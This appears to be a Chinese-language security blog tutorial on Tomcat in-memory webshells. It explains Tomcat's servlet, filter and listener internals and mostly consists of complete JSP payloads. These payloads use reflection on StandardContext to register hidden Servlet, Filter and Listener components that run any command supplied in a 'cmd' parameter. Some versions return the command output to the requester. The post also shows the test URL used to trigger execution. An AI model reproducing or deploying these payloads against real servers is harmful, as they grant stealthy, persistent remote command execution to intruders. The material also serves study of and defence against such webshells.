1. 1. Tomcat中的三种context
  2. 2. Servlet型内存马
  3. 3. Filter型内存马
    1. 3.1. Filter过滤器执行逻辑分析
    2. 3.2. 内存马构造
  4. 4. Listener型内存马
  5. 5. Tomcat内存马回显
    1. 5.1. Servlet内存马回显
    2. 5.2. Filter内存马回显
    3. 5.3. Listener内存马回显

Tomcat中的三种context

这里直接参考枫师傅的文章

https://goodapple.top/archives/1355

image-20250328112608271

Servlet型内存马

假设某Web应用中有一个HelloServlet类,可以如下代码所示使用Tomcat去加载这个Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 创建 Tomcat 实例
Tomcat tomcat = new Tomcat();

// 获取 Web 应用的上下文(Context)
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());

// 创建一个 Wrapper,并将 HelloServlet 和映射路径绑定
Wrapper wrapper = context.createWrapper();

//指定Wrapper要管理的Servlet类
wrapper.setServletClass("com.KaGty1.HelloServlet");

//将HelloServlet映射到路径/hello上
wrapper.addMapping("/hello");

// 将 Wrapper 添加到 Context 中
context.addChild(wrapper);

// 启动 Tomcat
tomcat.start();
tomcat.getServer().await();

内存马payload_demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>



<%
//恶意Servlet
class S implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {}
}
}

@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {}
}
%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//实例化恶意Servlet
S evilServlet = new S();
//创建wrapper管理servlet
Wrapper evilWrapper = standardContext.createWrapper();
String name = evilServlet.getClass().getSimpleName();
//设置wrapper的名字
evilWrapper.setName(name);
//设置Tomcat开机自启
evilWrapper.setLoadOnStartup(1);
//传递恶意servlet对象给wrapper, Tomcat直接使用这个恶意servlet实例来处理请求
evilWrapper.setServlet(evilServlet);
//将evilWrapper注册到context中,后续可以访问它了
standardContext.addChild(evilWrapper);
//设置恶意servlet的访问路径
standardContext.addServletMappingDecoded("/servlet_shell", name);

out.println("Inject successfully");
%>

将写有Servlet内存马的servletShell.jsp上传到 WEB-INF目录下,启动Tomcat,访问servletShell.jsp触发代码注册恶意servlet,访问恶意servlet路由执行命令即可

image-20250327140736676

先访问http://localhost:9090/test_war_exploded/servletShell.jsp加载恶意servlet

然后访问http://localhost:9090/test_war_exploded/servlet_shell?cmd=open%20-a%20Calculator

执行命令弹出计算器

Filter型内存马

原理代码如下,若某个Filter拦截器中存在恶意代码,就会造成命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//filterShell.java
@WebFilter("/*")
public class filterShell implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String command = request.getParameter("cmd");
if (command != null) {
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}

访问http://localhost:9090/test_war_exploded/*?cmd=xxxx就会经过filterShell拦截器执行恶意命令

web.xml文件中,注册filter过滤器的写法如下

1
2
3
4
5
6
7
8
<filter>
<filter-name>test</filter-name>
<filter-class>com.KaGty1.test</filter-class>
</filter>
<filter-mapping>
<filter-name>test</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Filter过滤器执行逻辑分析
1
2
3
4
doFilter:12, filterShell (org.kgty.test)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core) --> doFilter逻辑开始执行

invoke:168, StandardWrapperValve (org.apache.catalina.core)调用doFilter的核心逻辑如下

1
2
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
filterChain.doFilter(request.getRequest(), response.getResponse());

跟进ApplicationFilterFactory.createFilterChain,核心逻辑伪代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
ApplicationFilterChain filterChain = null;

//获取Web应用上下文context
StandardContext context = (StandardContext) wrapper.getParent();

//获取filterMap
FilterMap filterMaps[] = context.findFilterMaps();

//获取请求的调度类型
DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

//获取请求路径
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null) {
requestPath = attribute.toString();
}

//添加与请求路径匹配的过滤器
for (FilterMap filterMap : filterMaps) {
//检查请求的调度类型是否匹配
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
//检查请求路径是否匹配
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}

//查找对应的过滤器配置
ApplicationFilterConfig filterConfig =
(ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}

//若找到,则将其添加到过滤器链中
filterChain.addFilter(filterConfig);
}
}

//addFilter代码逻辑如下
void addFilter(ApplicationFilterConfig filterConfig) {

if (n == filters.length) {
ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT];
System.arraycopy(filters, 0, newFilters, 0, n);
filters = newFilters;
}
filters[n++] = filterConfig;

}

最后调用至internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core),核心逻辑伪代码如下

1
2
3
4
5
6
7
8
//filters为ApplicationFilterChain类提前定义好的,在上面的addFilter中被赋值
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

private void internalDoFilter(ServletRequest request, ServletResponse response) {
ApplicationFilterConfig filterConfig = filters[pos++];
Filter filter = filterConfig.getFilter();
filter.doFilter(request, response, this);
}

由以上分析可得动态创建Filter过滤器并加载到filterChain中的两个关键步骤

1
2
(1) FilterMap filterMaps[] = context.findFilterMaps();  -- 获取filterMap
(2) context.findFilterConfig(filterMap.getFilterName()); -- 从上下文context中根据filterMap.getFilterName()查找并存在filterConfig
内存马构造

首先构造filterMapStandardedContext类中存在方法addFilterMapBefore可以满足需求,但是需要先经过validateFilterMap方法的检查

image-20250327190853561

validateFilterMap方法会检查StandardedContext类的filterDefs属性中是否含有filterName

image-20250327191447379

image-20250327191456531

所以在使用addFilterMapBefore添加filterMap之前需要对filterDefs属性提前赋值,恰好StandardedContext类中提供了addFilterDef方为filterDefs赋值

image-20250327191805318

filterMap的构造解决了,最后需要解决context.findFilterConfig(filterMap.getFilterName())

1
2
3
4
5
6
7
private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();

public FilterConfig findFilterConfig(String name) {
synchronized (filterDefs) {
return filterConfigs.get(name);
}
}

由于StandardedContext中未找到给filterConfigs赋值的方法,所以只能通过反射来赋值

Filter型内存马Payload最终如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//构造恶意Filter过滤器
class FilterShellClass implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

<%
//添加FilterDef,确保FilterMap可以正常添加
FilterShellClass filterShellClass = new FilterShellClass();
String name = "filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterShellClass);
filterDef.setFilterClass(filterDef.getClass().getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
%>

<%
//添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
%>

<%
//获取filterConfigs字段
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//获取当前Web应用上下文context中的filterConfigs字段
Map filterConfigs = (Map) Configs.get(standardContext);
//由于filterConfigs在StandardContext的定义为private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();
//所以还需要一个ApplicationFilterConfig对象
//获取ApplicationFilterConfig的构造函数
Constructor ApplicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) ApplicationFilterConfigConstructor.newInstance(standardContext, filterDef);
//filterConfigs属性是一个HashMap
filterConfigs.put(name, applicationFilterConfig);
out.print("Inject successfully");
%>

注意事项参考:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

image-20250328112703644

Listener型内存马

如图,Listener是最先被加载的,所以也可以构造Listener型内存马

image-20250328103256595

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
requestInitialized:16, TestListener (org.kgty.test)
fireRequestInitEvent:5169, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:396, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

由堆栈信息 -> 跟进fireRequestInitEvent:5169, StandardContext (org.apache.catalina.core),关键在于getApplicationEventListeners()

image-20250328111224293

跟进getApplicationEventListeners()

1
2
3
4
5
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

和构造Filter型内存马的思路一样,寻找给applicationEventListenersList赋值的函数即可

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

利用addApplicationEventListener可以直接构造Listener型内存马了

Listener型内存马Payload如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>


<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>


<%
//构造恶意listener监听器
class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
}
%>

<%
//添加恶意listener监听器
ListenerShell listenerShell = new ListenerShell();
standardContext.addApplicationEventListener(listenerShell);
%>

Tomcat内存马回显

1
2
3
4
5
6
7
8
9
//回显技术大致逻辑如下
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
response.getWriter().write(new String(bao.toByteArray()));
Servlet内存马回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>


<%
//恶意Servlet
class S implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public ServletConfig getServletConfig() {return null;}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if(cmd != null){
try {
//回显
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
res.getWriter().write(new String(bao.toByteArray()));
} catch (IOException e) {}
}
}

@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {}
}
%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//实例化恶意Servlet
S evilServlet = new S();
//创建wrapper管理servlet
Wrapper evilWrapper = standardContext.createWrapper();
String name = evilServlet.getClass().getSimpleName();
//设置wrapper的名字
evilWrapper.setName(name);
//设置Tomcat开机自启
evilWrapper.setLoadOnStartup(1);
//传递恶意servlet对象给wrapper, Tomcat直接使用这个恶意servlet实例来处理请求
evilWrapper.setServlet(evilServlet);
evilWrapper.setServletClass(evilServlet.getClass().getName());
//将evilWrapper注册到context中,后续可以访问它了
standardContext.addChild(evilWrapper);
//设置恶意servlet的访问路径
standardContext.addServletMappingDecoded("/servlet_shell_res", name);

out.println("Inject successfully");
%>
Filter内存马回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%
//构造恶意Filter过滤器
class FilterShellClass implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
response.getWriter().write(new String(bao.toByteArray()));
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>

<%
//添加FilterDef,确保FilterMap可以正常添加
FilterShellClass filterShellClass = new FilterShellClass();
String name = "filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filterShellClass);
filterDef.setFilterClass(filterDef.getClass().getName());
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
%>

<%
//添加FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
%>

<%
//获取filterConfigs字段
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//获取当前Web应用上下文context中的filterConfigs字段
Map filterConfigs = (Map) Configs.get(standardContext);
//由于filterConfigs在StandardContext的定义为private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();
//所以还需要一个ApplicationFilterConfig对象
//获取ApplicationFilterConfig的构造函数
Constructor ApplicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
ApplicationFilterConfigConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) ApplicationFilterConfigConstructor.newInstance(standardContext, filterDef);
//filterConfigs属性是一个HashMap
filterConfigs.put(name, applicationFilterConfig);
out.print("Inject successfully");
%>
Listener内存马回显
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>


<%
//获取web应用上下文context
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>


<%
//构造恶意listener监听器
class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Field field = req.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(req);
Response response = request.getResponse();
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
ByteArrayOutputStream bao = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int a = -1;
while((a = inputStream.read(bytes))!=-1){
bao.write(bytes,0,a);
}
response.getWriter().write(new String(bao.toByteArray()));
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
%>

<%
ListenerShell listenerShell = new ListenerShell();
standardContext.addApplicationEventListener(listenerShell);
%>